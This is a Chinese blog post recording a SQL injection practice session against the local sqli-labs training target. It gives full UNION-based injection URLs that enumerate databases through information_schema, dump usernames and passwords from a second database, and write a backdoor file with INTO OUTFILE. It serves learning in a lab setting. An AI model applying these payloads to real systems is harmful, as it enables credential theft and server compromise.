玖叶教程网

前端编程开发入门

记一次跨库的sql注入实验(sqlserver跨库插数据)

昨天学习了sql注入的相关知识,便趁热打铁,在靶场环境实验一次sql注入,我采用的靶场环境是sqli-labs,是一个印度程序员开发的,有点闯关游戏的感觉,在github上有开源的仓库:https://github.com/Audi-1/sqli-labs。


正式开始实验,

  1. 打开靶场网址:http://127.0.0.1/sqli-labs/Less-2
  2. 使用order by 初步判断列数,order by 4 页面会报错,说明表的列数小于4

3. 使用union 联合查询,让原本的name 和password展示位改为自己的查询结果,这里借助mysql内置的函数:user(),database(),如下图可以知道该网站是以root账户去连接数据库的,说明可能存在跨库注入sql的风险,下一步需要知道该服务器上的mysql部署了什么数据库。

4. 借助mysql information表存储了所有的库和表信息(这是mysql5.0以上才有的),可以获取到所有的库,下图可以查出数据库上所有的库名

5. 假设当前要跨库的目标是pikachu,查询table_name,获取这个pikachu库下所有的表

6.显然看到user这个表,是存储用户信息的,作为目标,先要查询到这个表所有的列名

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,user(),group_concat(column_name) from information_schema.columns where table_schema=“pikachu” and table_name = “users”

7. 现在已经知道了库名、表明、字段名,就可以查询想要的信息了。

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from pikachu.users

8. 使用loadfile 写入后门程序

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1, ‘xxx’ ,3 into outfile ‘D:/phpstudy_pro/Extensions/MySQL5.7.26/1.php’ --+

--+ 是为了消除后面limit 1 的影响,相当于注释掉。


上面记录了一次sql注入的基本流程,之所以要整理下来,也是为了让自己多熟悉这个流程,后续的sql注入实验,大概也按照这个套路流程进行。

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言